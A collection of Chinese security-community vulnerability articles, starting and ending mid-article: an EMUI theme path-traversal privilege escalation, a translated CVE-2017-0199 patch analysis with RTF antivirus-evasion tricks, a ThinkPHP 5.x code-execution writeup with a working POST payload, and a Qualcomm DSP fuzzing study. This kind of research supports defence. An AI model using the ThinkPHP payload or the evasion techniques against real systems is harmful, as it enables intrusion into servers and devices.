但这个只是一个本地exp，有没有办法远程呢？ 我们注意到，所谓的主题文件，实际上是一个zip压缩包。主题的安装最终指向如下路径：
public static void applyTheme(Context arg6 , String arg7) {
PackageManager packageManager0 = arg6\. getPackageManager();
HwLog.d("ApplyTheme" , "EndInstallHwThemetime : " + System.currentTimeMillis ());
try {
packageManager0.getClass().getMethod("installHwTheme", String.class).invoke(packageManager0 ,
arg7);
} catch()//...
}
HwLog.d("ApplyTheme" , "EndInstallHwThemetime : " + System.currentTimeMillis ());
}
这是一个在system_server中实现的服务，实现在huawei.android.hwutil.ZipUtil.unZipFile。代码比较长，这里就不贴了。聪明的读者应该已经意识到了
`没有过滤ZipEntry，可以实现路径回溯。` 我们只要在主题包中插入包含精心布置的命令执行字符串的entry，就可以实现本地攻击同样的效果。
说到这里，有个需要澄清的地方是：在Android5之后，主流机型system_server/system_app进程写dalvik-cache的能力已经被SELinux禁止掉了，即使说他们都是systemuid。所以单个ZipEntry漏洞已经不存在通杀的利用方法。我们可能需要找一些动态加载的代码进行覆盖。
但并不妨碍我们将这个与上述漏洞结合起来，实现完整的远程代码执行。
## 综述
One theme to system privilege?
上面的分析完整地告诉了这是如何达到的。鉴于攻击的危害性，这里不会放出远程利用的exploit，但是整个漏洞的利用过程，还是蛮有意思的XD
## 下期预告
`"嘿嘿，前面不让进，我就走后门" - EMUI中另一个system提权漏洞简析。`
* * * | 社区文章 |
# 【漏洞分析】CVE-2017-0199：深入分析 Microsoft Office RTF 漏洞
|
##### 译文声明
本文是翻译文章，文章来源：fortinet.com
原文地址：<http://blog.fortinet.com/2017/06/04/an-inside-look-at-cve-2017-0199-hta-and-scriptlet-file-handler-vulnerability>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[ **lfty89**](http://bobao.360.cn/member/contribute?uid=2905438952)
预估稿费：190RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**0x00 前言**
近日，研究人员又发现了数款CVE-2017-0199漏洞的样本。虽然微软在今年4月份已经发布了针对该漏洞的补丁，但由于其利用方式相对简单，全世界的使用率仍然很高，[这里](http://blog.fortinet.com/2017/05/30/spear-phishing-fileless-attack-with-cve-2017-0199)分享了一些钓鱼邮件样本的分析报告。目前大部分关于CVE-2017-0199漏洞的文章都将讨论的焦点放在如何构建POC上，本文另辟蹊径，从分析漏洞补丁出发，以一个较高层次的视角来解析漏洞原理，最后分享了一些分析样本的经验。
**0x01 漏洞补丁分析**
分析人员通常会构建一个黑盒测试环境来观察一个恶意代码样本的行为。这一思路同样可以用在漏洞补丁功能测试上，比如针对CVE-2017-0199漏洞，研究人员使用最新的Microsoft
Office套件，运行一些样本，观察补丁程序的工作模式。在测试时，研究人员在发现样本仍然能够成功地从远程服务器上下载payload并保存在Internet
Explorer的临时文件夹中，最后由于补丁的原因，payload并没有运行。
经过分析，发现漏洞补丁主要包括两个组件：
OLE32.dll：6.1.7601.23714 on Windows 7 x86
MSO.dll：14.0.7180.5002 on Microsoft Office 2010 on x86
首先对打过补丁和未打补丁的OLE32.dll文件做个对比分析：
图 1：OLE32.dll 6.1.7601.23714 (左) 和 6.1.7601. 23392 (右)
从图1中高亮部分可以看到函数的名称已经改变，推测可能是补丁新增的函数，接着使用IDA-Pro做进一步的分析：
图2：使用IDA交叉引用找到FilterActivation函数
通过交叉引用找到其调用函数FilerActivation，并发现其能被两个内部组件函数ICoGetClassObject和ICoCreateInstance调用，而这两个函数又被上层用于COM对象实例化的API如CoCreateInstance和CoGetClassObject封装。
对这些COM函数做对比分析，可以初步假设这个FilterActivation函数是一个用于应对CVE-2017-0199漏洞的一个新增函数。
图 3：ICoCreateInstance函数的比较结果
下面开始论证这一假设。
首先查看FilterActivation函数的伪代码：
图 4：FilterActivation伪代码
FilterActivation函数首先获取cisid参数的值，并将其传递给一个定义在全局变量g_ActvationFilter中的处理函数，而g_ActvationFilter是在COM初始化过程中被MSO.dll通过CoRegisterActivationFilter函数初始化的，同时MSO.dll也包含在漏洞补丁中。
下面再看一下MSO.dll的初始化过程，首先从OLE32.dll得到CoRegisterActivationFilter的API地址，然后使用g_pActivationFilter作为参数调用它：
图 5：MSO.dll初始化过程
我们知道g_pActivationFilter是一个指向IActivationFilter类型的指针，同时也保存在全局变量g_ActvationFilter中，最终通过静态分析和交叉引用找到其调用函数：mso_IActivationFilterHandleActivation()：
图 6：通过静态分析和交叉引用找到调用函数
通过查看该函数还可以发现一些与访问拒绝相关的代码：
CLSID_SCRIPTLET = {06290bd3-48aa-11d2-8432-006008c3fbfc}
CLSID_HTA = {3050f4d8-98b5-11cf-bb82-00aa00bdce0b}
CLSID_HTA是一个表示Microsoft HTML
Application（文件后缀.hta）的全局唯一标识符，由32个16进制字符组成，攻击者可以利用其结构达到远程代码执行的目的。例如，一个Microsoft
Office文档可以指定URL Moniker从远程服务器上下载该文档的嵌入式资源。
通过解读MSDN对MIME的[定义](https://msdn.microsoft.com/en-us/library/ms775147\(v=vs.85\).aspx)描述，如果远程服务器提供了“application/hta”的MIME类型，那么下载的文件就会被mshta.exe装载执行，在后台，HTA
COM对象的实例会在绑定操作过程中被创建，之后URLMON.dll会调用CoCreateInstance函数，后者初始化URL
Moniker。但是在最新版本的OLE32.dll中，FIlterActivation函数会在在COM对象被初始化之前对其CLSID值进行过滤检测，若值为CLSID_HTA则无法通过（见图7）。
图 7: 过滤检测
但从代码可看到，CLSID_SCRIPTLET值同样也无法通过。[这里](https://twitter.com/enigma0x3/status/859124491720458247)提供了一个能够初始化scriptlet
COM对象的POC，但是需要用户交互，如点击文档中的带“script:”或者“scriptlet:”的超链接。不过，就算是需要用户交互，“一个包含超链接内容的文档将导致代码执行”这一事实听起来仍然有点匪夷所思。
下面的栈结构反映了文档中的超链接被点击后的执行过程：
//
// Parse the moniker name "script:xxxxxx OR scriptlet:xxxxxx"
//
0:000> kb
ChildEBP RetAddr Args to Child
001e92fc 766cce60 159ceff8 1627cfc8 001eaa4c scrobj!ComMonikerFactory::ParseDisplayName
001e9354 766ccf2c 1627cfc8 001eaa4c 001e9384 ole32!FindClassMoniker+0xf8 [d:w7rtmcomole32commoniker2cmonimp.cxx @ 1850]
001e938c 7543655a 1627cfc8 001eaa4c 001ea484 ole32!MkParseDisplayName+0xbb [d:w7rtmcomole32commoniker2cmonimp.cxx @ 1467]
001ea414 71b803c9 1627cfc8 001eaa4c 001ea484 urlmon!AppDataFolderList::GetPackageDependencyStateForIUri+0x17f3f
001ea444 71b76421 00000001 106a6e74 00000000 hlink!HrParseDisplayNameEx+0x197
001ea498 71b7681a 00000001 001eaa4c 00000000 hlink!HLNK::HrSetStringReference+0x91
001ea4b0 61c08bd2 162daf28 00000001 001eaa4c hlink!HLNK::SetStringReference+0x25
WARNING: Stack unwind information not available. Following frames may be wrong.
001ea4cc 6181c47f 16298fd0 00000001 001eaa4c mso!Ordinal10017+0x2aa1
001eba9c 61c1f384 16298fd0 00000000 00000000 mso!Ordinal8417+0x28a
001ebac0 697b4415 16298fd0 00000000 00000000 mso!Ordinal2959+0x1c
001ebb10 697b5377 00000000 00000000 0f5d0948 wwlib!DllGetLCID+0x7edf8f
001ebbc4 697b7190 0f5d0948 00000000 0000008e wwlib!DllGetLCID+0x7eeef1
001ebbec 69394c1d 69ca4400 0000008e 0000007e wwlib!DllGetLCID+0x7f0d0a
001eda34 6938facc 0000008e 0000007e 00000000 wwlib!DllGetLCID+0x3ce797
001eda64 692ebe3c 048c72b0 00000201 00000009 wwlib!DllGetLCID+0x3c9646
001edaf0 68dc4acd 00350666 00000201 00000009 wwlib!DllGetLCID+0x3259b6
001edb30 757ec4b7 00350666 00000201 00000009 wwlib!DllGetClassObject+0xf471
001edb5c 757ec5b7 68dc4a8c 00350666 00000201 USER32!InternalCallWinProc+0x23
001edbd4 757ecbe9 00000000 68dc4a8c 00350666 USER32!UserCallWinProcCheckWow+0x14b
001edc34 757ecc40 68dc4a8c 00000000 001edc54 USER32!DispatchMessageWorker+0x357
001edc44 68e1426d 69c9e630 69c9e630 001edc6c USER32!DispatchMessageW+0xf
001edc54 68e13e05 69c9e630 757e2b1d 69c9e630 wwlib!GetAllocCounters+0x4da95
001edc6c 68e13d4b 00000001 1311cfe4 12f10f8c wwlib!GetAllocCounters+0x4d62d
001edc94 68e12cf0 68db517d 7728cebc 68db0000 wwlib!GetAllocCounters+0x4d573
001efdf4 2fb91c68 2fb90000 00000000 0121ffd1 wwlib!GetAllocCounters+0x4c518
001efe18 2fb91ec2 2fb90000 00000000 0121ffd1 winword!wdGetApplicationObject+0x63a
001efea8 7728ef8c 7ffd8000 001efef4 7713367a winword!wdGetApplicationObject+0x894
001efeb4 7713367a 7ffd8000 366f1751 00000000 kernel32!BaseThreadInitThunk+0xe
001efef4 7713364d 2fb92045 7ffd8000 ffffffff ntdll!__RtlUserThreadStart+0x70
001eff0c 00000000 2fb92045 7ffd8000 00000000 ntdll!_RtlUserThreadStart+0x1b
图 8: 文档中的超链接在点击后被ParseDisplayName函数解析
概括地来说，scriptlet又称为Windows Script
Component（WSC），其设计目的是执行Javascript、VBScript以及PerlScript等脚本语言，同样也可以执行XML文件中的脚本代码。通过相关逆向分析，我们发现当一个超链接被触发后，scriptlet的解释器会通过文件后缀将关联URL的文件识别为脚本文件，导致HLINK.dll加载并实例化WSC、CROBJ.dll继而执行该文件。
下面的栈结构反映了关联超链接的scriptlet文件的执行过程：
0:000> kb
ChildEBP RetAddr Args to Child
0027a25c 6a720899 00000000 00000000 14bf8ff0 jscript!COleScript::ExecutePendingScripts
0027a278 6cb6831f 14bf0de8 00000001 14baae28 jscript!COleScript::SetScriptState+0x51
0027a288 6cb68464 14bdefd8 14bdefe4 00000000 scrobj!ScriptEngine::Activate+0x1a
0027a2a0 6cb699d3 00000000 1420ffd0 00000000 scrobj!ComScriptlet::Inner::StartEngines+0x6e
0027a2f0 6cb6986e 00000000 015dffb0 0027a320 scrobj!ComScriptlet::Inner::Init+0x156
0027a300 6cb6980b 015dffb0 14b9cf10 00000000 scrobj!ComScriptlet::New+0x3f
0027a320 6cb697d0 14b9cf10 00000000 00000000 scrobj!ComScriptletConstructor::CreateScriptletFromNode+0x26
0027a340 6cb737e2 015dffb0 00000000 00000000 scrobj!ComScriptletConstructor::Create+0x4c
0027a360 6cb74545 00000000 71a6245c 0027a460 scrobj!ComScriptletFactory::CreateScriptlet+0x1b
0027a380 7671b53d 015d1ff0 1417efc8 1420ffd0 scrobj!ComScriptletMoniker::BindToObject+0x4d
0027a3b4 71a6a858 138a4fd0 1417efc8 00000000 ole32!CCompositeMoniker::BindToObject+0x105 [d:w7rtmcomole32commoniker2ccompmon.cxx @ 1104]
0027a3f0 71a65ab7 1390ff78 00000001 14158fe0 hlink!HLBC::GetObjectA+0x143
0027a468 65638cb8 00000000 00000000 00000000 hlink!HLNK::Navigate+0x2ae
WARNING: Stack unwind information not available. Following frames may be wrong.
0027a488 71a68352 13b1efd0 00000000 00000000 mso!Ordinal10017+0x2b87
0027a4b0 6524c724 13b1efd0 00000000 00000000 hlink!HlinkNavigate+0xc0
0027ba88 6564f384 13b1efd0 00000000 00000000 mso!Ordinal8417+0x52f
0027baac 66684415 13b1efd0 00000000 00000000 mso!Ordinal2959+0x1c
0027bafc 66685377 00000000 00000000 0e9bc948 wwlib!DllGetLCID+0x7edf8f
0027bbb0 66687190 0e9bc948 00000000 00000087 wwlib!DllGetLCID+0x7eeef1
0027bbd8 66264c1d 66b74400 00000087 0000007d wwlib!DllGetLCID+0x7f0d0a
0027da20 6625facc 00000087 0000007d 00000000 wwlib!DllGetLCID+0x3ce797
0027da50 661bbe3c 03d152b0 00000201 00000009 wwlib!DllGetLCID+0x3c9646
0027dadc 65c94acd 0008094e 00000201 00000009 wwlib!DllGetLCID+0x3259b6
0027db1c 757ec4b7 0008094e 00000201 00000009 wwlib!DllGetClassObject+0xf471
0027db48 757ec5b7 65c94a8c 0008094e 00000201 USER32!InternalCallWinProc+0x23
0027dbc0 757ecbe9 00000000 65c94a8c 0008094e USER32!UserCallWinProcCheckWow+0x14b
0027dc20 757ecc40 65c94a8c 00000000 0027dc40 USER32!DispatchMessageWorker+0x357
0027dc30 65ce426d 66b6e630 66b6e630 0027dc58 USER32!DispatchMessageW+0xf
0027dc40 65ce3e05 66b6e630 757e2b1d 66b6e630 wwlib!GetAllocCounters+0x4da95
0027dc58 65ce3d4b 00000001 12accfe4 12ad0f8c wwlib!GetAllocCounters+0x4d62d
0027dc80 65ce2cf0 65c8517d 7728cebc 65c80000 wwlib!GetAllocCounters+0x4d573
0027fde0 2f1d1c68 2f1d0000 00000000 0008ffd1 wwlib!GetAllocCounters+0x4c518
0027fe04 2f1d1ec2 2f1d0000 00000000 0008ffd1 winword!wdGetApplicationObject+0x63a
0027fe94 7728ef8c 7ffdd000 0027fee0 7713367a winword!wdGetApplicationObject+0x894
0027fea0 7713367a 7ffdd000 45b88b21 00000000 kernel32!BaseThreadInitThunk+0xe
0027fee0 7713364d 2f1d2045 7ffdd000 ffffffff ntdll!__RtlUserThreadStart+0x70
0027fef8 00000000 2f1d2045 7ffdd000 00000000 ntdll!_RtlUserThreadStart+0x1b
微软目前已经将上述两个能够导致远程代码执行的COM对象加入黑名单，但该做法近乎简单粗暴，同时也不排除未来发现新的具备相同的效果的COM对象。
**0x02 样本分析**
* * *
下面我们分析两个样本的部分结构来探讨一下样本设计者规避检测的思路。
**样本1**
sha256：
94d324cbd50ab65e2170514c49ce0e91c73335d0ec8af978d0ac99c62d8a431e
b48055a517fe1077b95860c8816e3ae75174affac487554d7f812f3c96c36eae
样本1的RTF部分结构如下：
图 9: 样本1的RTF结构
在上图中我们发现“objdata”包含的控制字段“deftabN”将“objdata”包含的16进制字符串分隔成了两段。根据RTF的定义，“deftabN”必须跟在一个10进制值后面，这里如果我们忽略“deftab”跟随的10进制值，图9中高亮部分的16进制字符串会被解析为：
图 10: 样本的解析结果被改变
这种16进制字符串并没有影响Word
RTF的解析器，但是却巧妙地回避了一些利用静态特征检测恶意URL的规则。目前已发现的大部分样本主要通过将“objlink”替换为“objemb”来触发漏洞。
**样本2**
sha256：
e0320c0066c69aa35a654d01e951fdc9e489bf66b4c79608156ad446f10d88dd
经过测试发现，样本2仍然能够通过大部分杀软的静态检测。目前很多杀软的做法是尝试发现RTF文件中嵌入的OLE数据流，而OLE数据流一般通过定位“objdata”关键字来确定。根据RTF官方定义，“objdata”必须跟随“*”控制字符，在样本2中，“*”被一个任意字符取代。而对于Word
RTF解析器，如果遇到无法识别的控制符号，则直接跳过，继续解析关键字“objdata”后面的数据，而这一点可能就是绕过检测的主要原因。
**0x03 总结**
* * *
本文以CVE-2017-0199漏洞补丁的分析为切入点，发现其解决针对Microsoft Office的scriptlet
COM远程代码执行的工作机制，这一方面在之前分析CVE-2017-0199漏洞的文章中鲜有提及；此外，本文提到的一些RTF样本躲避静态检测的技巧对安全防护的设计也有一定的启发作用。要防御该漏洞，最好的办法是使用最新的Microsoft
Office，同时及时更新操作系统补丁。
**0x04 参考文献**
* * *
[1] [http://blog.fortinet.com/2017/05/30/spear-phishing-fileless-attack-with-cve-2017-0199](http://blog.fortinet.com/2017/05/30/spear-phishing-fileless-attack-with-cve-2017-0199)
[2] [https://msdn.microsoft.com/en-us/library/ms775147(v=vs.85).aspx](https://msdn.microsoft.com/en-us/library/ms775147\(v=vs.85\).aspx)
[3]
[https://twitter.com/enigma0x3/status/859124491720458247](https://twitter.com/enigma0x3/status/859124491720458247) | 社区文章 |
转载自：<http://115.198.56.141:19300/wordpress/index.php/2019/01/15/thinkphp5-1-5-2-rec/>
# 序言
最近爆出了Thinkphp5.0.*全版本代码执行，其中5.1与5.2全版本在生产环境下下同样也存在代码执行
# 漏洞分析：
文件位置：\thinkphp\library\think\Request.php
/**
* 当前的请求类型
* @access public
* @param bool $origin 是否获取原始请求类型
* @return string
*/
public function method($origin = false)
{
if ($origin) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[$this->config['var_method']])) {
$this->method = strtoupper($_POST[$this->config['var_method']]);
$method = strtolower($this->method);
$this->{$method} = $_POST;
} elseif ($this->server('HTTP_X_HTTP_METHOD_OVERRIDE')) {
$this->method = strtoupper($this->server('HTTP_X_HTTP_METHOD_OVERRIDE'));
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}
其中：
$this->method = strtoupper($_POST[$this->config['var_method']]);
$method = strtolower($this->method);
$this->{$method} = $_POST;
$method变量是$this->method，其同等于POST的”_method”参数值
然后该处存在一个变量覆盖
我们可以覆盖 $filter 属性值(POC如下)
c=exec&f=calc.exe&&_method=filter&
访问如下图所示：
会爆出一个警告级别的异常，导致程序终止
# 如何触发：
如果设置忽略异常提示，如下图：
本身项目发布就需要屏蔽异常和错误所以这个配置是一个正常的配置
# Payload（POST请求）:
弹出计算器 | 社区文章 |
# Pwn2Own 高通 DSP
|
##### 译文声明
本文是翻译文章，文章原作者 checkpoint，文章来源：research.checkpoint.com
原文地址：<https://research.checkpoint.com/2021/pwn2own-qualcomm-dsp/>
译文仅供参考，具体内容表达以及含义原文为准。
## 简介
Snapdragon是由高通技术公司设计和销售的一套用于移动终端的系统芯片（SoC）半导体产品。单个SoC可能包括多个CPU内核、Adreno图形处理单元（GPU）、Snapdragon无线调制解调器、Hexagon数字信号处理器（DSP）、Qualcomm
Spectra图像信号处理器（ISP）和其他硬件。
Snapdragon产品层按CPU、GPU和DSP处理器的可扩展计算资源进行区分。最低级别的产品可能只包含一个Hexagon
DSP，而高级别的产品则包含多达四个Hexagon DSP处理器，专门用于特定的使用情况。例如，嵌入Pixel 4、三星S10、小米9、LG
G8和OnePlus 7等手机的骁龙855（SM8150）SoC包括一个Kryo CPU、一个Adreno
640和四个独立的DSP，每个都专门用于特定的应用空间：传感器（sDSP）、调制解调器（mDSP）、音频（aDSP）和计算（cDSP）。
在此博客中，我们研究了两种DSP：
1. cDSP，旨在执行计算密集型任务，例如图像处理，计算机视觉，与神经网络相关的计算以及摄像机流。
* aDSP，旨在用于音频和语音数据的低功耗处理。
就现在的研究而言，我们将cDSP和aDSP视为一个处理单元（DSP）。我们发现的安全性问题对两者都适用。
## CPU与DSP之间的通信
FastRPC是高通公司专有的远程程序调用（RPC）机制，用于实现CPU和DSP之间的远程功能调用。FastRPC框架是一种典型的代理模式。
【图片1：FastRPC流程】
图1中显示了FastRPC组件之间的交互：
1. 用户模式进程（客户端）启动远程调用。例如，Android应用程序在其本地代码中调用其中一个存根函数。
2. 存根是一个自动生成的代码，它将函数调用转换为RPC消息。一般来说，存根代码被编译为一个单独的本地库，然后与客户端链接。存根代码使用`libadsprpc.so`和`libcdsprpc.so`库，通过相关的ioctls调用应用处理器（AP）上的DSP RPC驱动程序（`/dev/adsprpc-smd`或`/dev/cdsprpc-smd`）。
3. DSP RPC内核驱动接收远程消息调用，通过共享内存驱动（SMD）通道将排队的消息发送到DSP上的DSP RPC框架，然后等待响应。
4. DSP RPC框架将消息从队列中移除，并将其分配给一个skeleton动态库进行处理。
5. skel是一个自动生成的库，用于解组参数并调用目标方法的实现
6. 目标方法（对象）是由高通公司或OEM提供的逻辑，旨在运行在DSP上。
7.
## 谁可以在DSP上运行自己的代码？
出于安全考虑，DSP被授权给OEM和数量有限的第三方软件供应商进行编程。在DSP上运行的代码是由高通公司签署的。普通的安卓应用没有权限在DSP上执行自己的代码。骁龙855和865
SoC是个例外，高通公司被允许在cDSP上执行低权限的无签名动态共享对象。
应该注意的是，谷歌通过SELinux策略防止第三方应用程序和`adb shell`访问DSP RPC驱动程序，对Pixel设备实施保护。
公开的Hexagon SDK负责将DSP对象的C/C++源代码编译成适用于DSP上执行的Hexagon（QDSP6）字节码。
存根和skel代码是根据开发人员准备的接口定义语言（IDL）模块自动生成的。高通公司IDL用于定义跨内存保护和处理器边界的接口。IDL只暴露了该对象的作用，但没有暴露它的位置或实现它的编程语言。
一个安卓应用开发者能够实现其自定义的DSP库，但不能完全执行。只有预先构建的DSP库可以被一个Android应用自由调用。
## 谁来管理 DSP?
QuRT是一个高通公司专有的多线程实时操作系统（RTOS），管理Hexagon
DSP。QuRT的完整性得到了高通公司安全可执行环境（QSEE）的信任。QuRT的可执行二进制文件（aDSP和cDSP是分开的）被签署并分割成几个文件，其方式与高通公司设备上任何其他受信任的应用程序相同。其默认位置是`/vendor/firmware`目录。
对于每个发起远程调用的安卓进程，QuRT在DSP上创建一个单独的进程。当用户进程被生成时，特殊的shell进程（`/vendor/dsp/fastrpc_shell_0`用于aDSP，`/vendor/dsp/fastrpc_shell_3`用于cDSP）被加载到DSP上。shell负责调用skeleton库和对象库。此外，它还实现了DSP的RPC框架，提供可能需要的skeleton和对象库的API。
DSP的软件架构提供了不同的保护域（PD）以确保内核软件的稳定性。在DSP中，有三个保护域:
* 内核 – 可以访问所有PD的所有内存。
* Guest OS – 可以访问自己PD的内存，用户PD的内存，以及一些系统寄存器。
* 用户 – 只能访问它自己的PD的内存。
无签名的动态共享对象在无签名PD内运行，无签名PD是用户PD，其对底层DSP驱动和线程优先级的访问受到限制。无符号PD被设计成只支持一般的计算应用。
对象库以及FastRPC Shell在User PD中运行。
## 跳过FastRPC流程中的存根代码
libadsprpc.so和libcdsprpc.so库负责与DSP RPC驱动进行通信。这些库导出了两个对研究来说很有意思的函数。
* `int remote_handle_open(const char* name, remote_handle *ph)`. 这个函数在AP上的调用者进程和DSP上一个新的FastRPC shell进程之间打开一个远程会话。这个会话用于与作为第一个参数的skeleton库的通信。
* `int remote_handle_invoke(remote_handle h, uint32_t scalars, remote_arg *pra)`. 这个函数能够调用skeleton库的导出方法。一个会话处理程序应该作为第一个参数被指明。
【图片2：直接调用DSP】
让我们看一下该`remote_handle_invoke`函数的第二个和第三个参数，它们对目标方法及其参数进行了编码。
`scalars`是一个包含以下元数据信息的词:
* 方法索引和属性（最高字节，0xFF000000掩码）。
* 输入参数的数量（0x00FF0000掩码）。
* 输出参数的数量（0x0000FF00掩码）。
* 输入和输出句柄的数量（0x000000FF掩码，输入的四位和输出的四位）。在现代手机上，如果这个字节不等于零，则DSP调用失败。
`pra`是指向`remote_arg`目标方法的参数（条目）数组的指针。参数的顺序如下：输入参数，输出参数，输入句柄和输出句柄。
如图所示，每个输入和输出参数都被转换为一个通用的`remote_buf`条目。
应该注意的是，如果我们准备的`remote_arg`数组条目多于目标方法的要求，那么额外的参数就会被skeleton库忽略。
`scalars`和`pra`参数传送“原样”通过DSP RPC驱动程序和DSP
RPC框架，以及被用作在第一和特殊的第二参数`invoke`由每个skeleton库提供的功能。例如，`libfastcvadsp_skel.so`库提供了`fastcvadsp_skel_invoke`invoke函数。invoke函数仅负责按索引调用适当的skel方法。每个skel方法本身都会验证收到的远程参数，将其解组`remote_bufs`为常规类型，然后调用object方法。
如你所见，要从skel库中调用方法，只需要知道其索引并通过`remote_buf`结构包装每个参数即可。我们不必提供调用函数的名称，其参数的类型和数量来执行调用的事实，使得skeleton库成为非常方便的fuzz的目标。
## 降级漏洞
高通公司已经在Android手机上预先安装了许多skeleton库。它们中的绝大多数是专有的。但是，有一些开源示例，例如`libdspCV_skel.so`和`libhexagon_nn_skel.so`。
几乎可以在所有Android设备上找到许多skeleton库，例如`libfastcvadsp_skel.so`和`libscveBlobDescriptor_skel.so`。但是像`libVC1DecDsp_skel.so`和`libsysmon_cdsp_skel.so`这样的库仅在现代Snapdragon
SoC上提供。
有一些库是由OEM实现的，只在特定供应商的设备上使用。例如，`libedge_smooth_skel.so`可以在三星S7
Edge上找到，而`libdepthmap_skel.so`则在OnePlus 6T设备上。
一般来说，所有的skel库位于无论是在`/dsp`或`/vendor/dsp`或`/vendor/lib/rfsa/adsp`目录。默认情况下，该`remote_handle_open`函数将精确扫描这些路径。此外，还有一个环境变量`ADSP_LIBRARY_PATH`，可以在其中添加新的搜索路径。
如前所述，所有的DSP库都有签名，不能打补丁。然而，任何Android应用程序都可以在其资源中带来一个由高通公司签署的skeleton库，将其提取到应用程序的数据目录，将路径添加到`ADSP_LIBRARY_PATH`的开头，然后打开一个远程会话。因为库签名正确，所以库已成功加载到DSP上。
由于没有对加载skeleton库进行版本检查，因此有可能在DSP上运行一个非常老的具有已知1
day漏洞的skeleton库。即使更新的skeleton库已经存在于设备上，只要在原始文件的路径之前指出它在`ADSP_LIBRARY_PATH`中的位置，就有可能加载这个库的旧版本。通过这种方式，任何DSP补丁都可以被攻击者简单地绕过。此外，通过分析DSP软件补丁，攻击者可以发现一个库中的内部修复的漏洞，然后通过加载未打补丁的版本来利用它。
由于缺乏设备允许的批准/拒绝的skeleton库列表，有可能在任何其他设备（例如，索尼Xperia）上运行为一个设备准备的库（例如，三星）。这意味着，在某个OEM库中发现的漏洞会危及所有基于高通的安卓设备。
## 基于反馈的Hexagon库模糊测试
DSP库是专有的Hexagon
ELFs。检测Hexagon可执行文件的最简单方法是使用开源的Quick仿真器（QEMU）。2019年底才在QEMU中加入Hexagon指令集支持。我们修复了很多bug，以便能够在模拟器的用户模式下运行真正的DSP库。
与QEMU相结合的美国Fuzz工具（AFL）被用来fuzz Ubuntu上的skeleton库和对象DSP库。
为了在模拟器上执行库的代码，我们准备了一个简单的程序（Hexagon ELF二进制文件），负责以下工作：
1. 把作为第一个命令行参数收到的数据文件解析为标量字和远程参数数组。
2. `dlopen`一个在第二个命令行参数中指定的skeleton库。该库可能依赖于其他skeleton库和对象库。例如，`libfastcvadsp_skel.so`依赖于`libapps_mem_heap.so`、`libdspCV_skel.so`和`libfastcvadsp.so`库。所有这些库都可以从固件中提取或从真实设备中拉出。
3. 通过提供标量和一个指向`remote_arg`数组的指针作为参数，以其地址调用调用函数。例如，`fastcvadsp_skel_invoke`是对`libfastcvadsp_skel.so`库进行模糊测试的起始点。
我们在程序中使用了以下输入文件格式：
1. 标量值（4字节）。在图3的例子中，标量值等于0x08020200，这意味着通过提供两个输入参数和两个输出参数来调用8号方法。
2. 输入参数的大小（每个参数为4字节）：0x10和0x20。
3. 输出参数的大小（每个参数4个字节）：0x80200和0x1000。
4. 输入参数的值。在这个例子中，第一个参数的值是0x10字节的0x11，第二个参数的值是0x20字节的0x22。
【图3 用于Fuzz DSP库的输入数据文件】
对于每个输出参数，我们分配指定大小的内存，并用值0x1F填充它。
大多数skeleton库广泛使用DSP框架和系统调用。我们的简单程序不能处理这种请求。因此，我们必须在执行其余代码之前在模拟器上加载QuRT。最简单的方法不是使用真正的QuRT操作系统，而是使用其
“精简 “版本`runelf.pbn`，该版本被高通公司采用，用于在Hexagon模拟器上执行，并包含在Hexagon SDK中。
AFL模糊器改变了数据文件的内容，并在模拟器上触发了runelf.pbn的执行。QuRT加载准备好的ELF二进制文件，然后调用一个目标skeleton库。QEMU在执行测试用例后向AFL返回代码覆盖矩阵。
【图4： DSP库模糊测试方案】
我们对模糊处理的结果感到惊讶。在我们选择的所有 DSP
库中都发现了崩溃现象。仅在`libfastcvadsp_skel.so`库中就发现了数百个独特的崩溃。
有趣的是，大多数问题正是在skeleton库中发现的，而不是在对象库中。这意味着Hexagon SDK产生了脆弱的代码。
## 自动生成的代码
让我们来看看开源库`hexagon_nn`，它是Hexagon SDK 3.5.1的一部分。这个库导出了很多旨在进行神经网络相关计算的函数。
Hexagon SDK在库的编译时自动生成`hexagon_nn_stub.c` stub和`hexagon_nn_skel.c`
skel模型。一些安全问题可以通过手动审查模块轻松发现。我们将只展示其中的两个。
### 装入一个字符串（char *）的参数
`int hexagon_nn_op_name_to_id(const char* name, unsigned int*
node_id)`函数需要一个输入（`name`）和一个输出（`node_id`）参数。SDK生成以下存根代码来封送这两个参数：
我们可以看到，除了现有的两个参数外，第三个`remote_arg`条目是在`_pra`数组的开头创建的。此特殊`_pra[0]`参数保存`name`字符串的长度。
将name本身保存在第二`remote_arg`条目（`_praIn[0]`），在它的长度会再次存储，但这次是在`_praIn[0].buf.nLen`域中。
skel代码会提取这两个长度，并将它们作为`signed
int`值进行比较。这就是错误所在。攻击者可以忽略存根代码，将一个负值（大于或等于0x80000000）写入第一个`remote_arg`条目中，绕过这个验证。这个假的长度然后被用作内存偏移，并导致崩溃（从堆的边界读出）。
为所有需要字符串参数的对象函数生成相同的代码.
### 对一个进出缓冲区进行管理
让我们看看`int hexagon_nn_snpprint(hexagon_nn_id, unsigned char* buf, int
bufLen)`函数，它需要一个缓冲区和其长度作为参数。缓冲区同时用于输入和输出数据。因此，在存根代码中，它被分成两个独立的缓冲区（输入和输出缓冲区）。再一次，两个缓冲区的长度（`_in1Len`和`_rout1Len`）都存储在额外的`remote_arg`条目（`_pra[0]`）中。
skel函数在调用对象函数之前将输入缓冲区复制（使用`_MEMMOVEIF`宏）到输出缓冲区。要复制的数据大小是在特殊的`remote_arg`条目（`_pra[0]`）中持有的输入缓冲区的长度。
攻击者控制这个值。所有的验证检查都可以通过使用一个负的输入缓冲区的长度简单地绕过。
在检查缓冲区边界时将类型转换为`signed int`类型是一个导致堆溢出的错误。
总而言之，自动生成的代码将漏洞注入高通公司、OEM和所有其他使用Hexagon
SDK的第三方开发者的库中。由于SDK中存在严重的漏洞，预装在安卓智能手机上的几十个DSP skeleton库存在漏洞。
## 利用DSP漏洞
让我们来看看在专有DSP skeleton库中发现的众多漏洞之一，并尝试准备 “读什么 “和 “写什么 “的原语。
`libfastcvadsp_skel.so`库可以在大多数Android设备上找到。在下面的例子中，我们使用的是版本为1.7.1的库，从索尼Xperia
XZ
Premium设备中提取。恶意的安卓应用程序可以通过向`remote_handle_invoke`函数提供特制的参数，导致`libfastcvadsp_skel.so`库崩溃。图5中的数据文件显示了这种特制参数的一个例子。
【图5：导致libfastcvadsp_skel.so崩溃的数据文件】
